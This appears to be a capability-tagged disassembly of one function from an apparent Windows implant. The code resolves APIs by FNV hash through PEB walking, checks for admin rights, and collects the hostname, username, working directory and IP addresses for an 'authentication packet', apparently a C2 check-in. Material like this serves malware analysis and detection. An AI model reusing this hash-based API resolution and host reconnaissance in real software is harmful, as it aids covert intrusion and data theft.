Function at 0x140002b98
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x208
call fcn.1400032f6
xor eax, eax
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x60], eax
mov word [rsp + 0x64], 0x500
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140002bd3
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140002bd3
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
mov bl, byte [rax + rsi]
test bl, bl
je 0x140002c35
add rsi, r10
mov edi, 0x5f900a9
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
mov bl, byte [rsi]
inc rsi
test bl, bl
jne 0x140002c19
cmp edi, 0x38696227
je 0x140002c3c
test r11, r11
jne 0x140002c00
jmp 0x140002bd3
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
xor eax, eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x60]
mov dl, 2
mov r8d, 0x20
mov r9d, 0x220
call r10
lea rsi, str.USER
test eax, eax
je 0x140002df2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140002cb0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140002cb0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
dec r8
mov r11d, r8d
mov edi, dword [r9 + r11*4]
mov bl, byte [rax + rdi]
test bl, bl
je 0x140002d12
add rdi, r10
mov ebp, 0x189d15e9
movsx ebx, bl
xor ebx, ebp
imul ebp, ebx, 0x1000193
mov bl, byte [rdi]
inc rdi
test bl, bl
jne 0x140002cf6
cmp ebp, 0x923f350
je 0x140002d19
test r11, r11
jne 0x140002cdd
jmp 0x140002cb0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r9d, dword [rcx + rdx*4]
add r9, rax
mov rdx, qword [rsp + 0x70]
lea r8, [rsp + 0x6c]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140002d53
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140002d53
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
dec r8
mov r11d, r8d
mov edi, dword [r9 + r11*4]
mov bl, byte [rax + rdi]
test bl, bl
je 0x140002db5
add rdi, r10
mov ebp, 0xcb2e6b8d
movsx ebx, bl
xor ebx, ebp
imul ebp, ebx, 0x1000193
mov bl, byte [rdi]
inc rdi
test bl, bl
jne 0x140002d99
cmp ebp, 0xaf920d6d
je 0x140002dbc
test r11, r11
jne 0x140002d80
jmp 0x140002d53
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov rcx, qword [rsp + 0x70]
call rdx
cmp dword [rsp + 0x6c], 0
setne dil
lea rax, str.ADMIN
cmovne rsi, rax
jmp 0x140002df4
xor edi, edi
lea rcx, str.____We_are_running_at___s__level__n
mov rdx, rsi
call fcn.140004124
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140002e14
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140002e14
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
mov bl, byte [rax + rsi]
test bl, bl
je 0x140002e76
add rsi, r10
mov ebp, 0x8a36cb67
movsx ebx, bl
xor ebx, ebp
imul ebp, ebx, 0x1000193
mov bl, byte [rsi]
inc rsi
test bl, bl
jne 0x140002e5a
cmp ebp, 0xedafcf59
je 0x140002e7d
test r11, r11
jne 0x140002e41
jmp 0x140002e14
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
lea rdx, [rsp + 0x70]
mov cx, 0x202
call r8
mov ecx, eax
mov eax, 1
test ecx, ecx
jne 0x140003211
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140002ec3
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140002ec3
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
mov bl, byte [rax + rsi]
test bl, bl
je 0x140002f25
add rsi, r10
mov ebp, 0xbe8b0f30
movsx ebx, bl
xor ebx, ebp
imul ebp, ebx, 0x1000193
mov bl, byte [rsi]
inc rsi
test bl, bl
jne 0x140002f09
cmp ebp, 0xe603fc97
je 0x140002f2c
test r11, r11
jne 0x140002ef0
jmp 0x140002ec3
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r9d, dword [rcx + rdx*4]
add r9, rax
lea rcx, [0x14000609c]
mov r8d, 0xcd
xor edx, edx
call r9
mov byte [0x140006160], dil
call fcn.14000422a
mov dword [0x140006165], eax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x140002f7b
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x140002f7b
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
mov bl, byte [rax + rsi]
test bl, bl
je 0x140002fdd
add rsi, r10
mov ebp, 0xb665fe14
movsx ebx, bl
xor ebx, ebp
imul ebp, ebx, 0x1000193
mov bl, byte [rsi]
inc rsi
test bl, bl
jne 0x140002fc1
cmp ebp, 0x9fcc9a83
je 0x140002fe4
test r11, r11
jne 0x140002fa8
jmp 0x140002f7b
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov r8d, dword [rcx + rdx*4]
add r8, rax
lea rcx, [0x1400060e0]
mov edx, 0x40
call r8
mov dword [rsp + 0x60], 0x40
mov ecx, 3
call fcn.1400032c2
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x20]
add rdx, rax
lea r9, [rax + 1]
xor r8d, r8d
mov r10d, dword [rdx + r8*4]
mov r11b, byte [rax + r10]
test r11b, r11b
je 0x14000306e
add r10, r9
mov esi, 0x68675e3e
movsx r11d, r11b
xor r11d, esi
imul esi, r11d, 0x1000193
mov r11b, byte [r10]
inc r10
test r11b, r11b
jne 0x14000304d
cmp esi, 0x5ddef4ff
je 0x140003073
inc r8
jmp 0x140003038
mov edx, r8d
mov r8d, dword [rax + rcx + 0x1c]
mov ecx, dword [rax + rcx + 0x24]
add r8, rax
add rcx, rax
movzx ecx, word [rcx + rdx*2]
mov r8d, dword [r8 + rcx*4]
add r8, rax
lea rcx, [0x1400060a0]
lea rsi, [rsp + 0x60]
mov rdx, rsi
call r8
mov dword [rsi], 0x40
mov ecx, 5
call fcn.1400032c2
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x20]
add rdx, rax
lea r9, [rax + 1]
xor r8d, r8d
mov r10d, dword [rdx + r8*4]
mov r11b, byte [rax + r10]
test r11b, r11b
je 0x140003101
add r10, r9
mov esi, 0xebfba63f
movsx r11d, r11b
xor r11d, esi
imul esi, r11d, 0x1000193
mov r11b, byte [r10]
inc r10
test r11b, r11b
jne 0x1400030e0
cmp esi, 0x9f3d5b4c
je 0x140003106
inc r8
jmp 0x1400030cb
mov edx, r8d
mov r8d, dword [rax + rcx + 0x1c]
mov ecx, dword [rax + rcx + 0x24]
add r8, rax
add rcx, rax
movzx ecx, word [rcx + rdx*2]
mov r8d, dword [r8 + rcx*4]
add r8, rax
lea rsi, [0x140006120]
lea rdx, [rsp + 0x60]
mov rcx, rsi
call r8
lea rcx, str.Authentication_packet_built__n
call fcn.140004124
lea rax, str.True
lea rdx, str.False
test dil, dil
cmovne rdx, rax
lea rcx, str.____Admin:__s_n
call fcn.140004124
mov edx, dword [0x140006165]
mov eax, edx
shr eax, 0x18
mov r9d, edx
shr r9d, 0x10
mov edi, 0xff
and r9d, edi
mov r8d, edx
shr r8d, 8
and r8d, edi
and edx, edi
mov dword [rsp + 0x20], eax
lea rcx, str.____Internal_Address:__d._d._d._d_n
call fcn.140004124
mov edx, dword [0x140006161]
mov eax, edx
shr eax, 0x18
mov r9d, edx
shr r9d, 0x10
and r9d, edi
mov r8d, edx
shr r8d, 8
and r8d, edi
and edx, edi
mov dword [rsp + 0x20], eax
lea rcx, str.____External_Address:__d._d._d._d_n
call fcn.140004124
lea rcx, str.____CWD:__s_n
lea rdx, [0x1400060e0]
call fcn.140004124
lea rcx, str.____Hostname:__s_n
lea rdx, [0x1400060a0]
call fcn.140004124
lea rcx, str.____Username:__s_n
mov rdx, rsi
call fcn.140004124
call fcn.140002a6d
lea rcx, str.exiting_n
call fcn.140004124
xor eax, eax
add rsp, 0x208
pop rbx
pop rbp
pop rdi
pop rsi
ret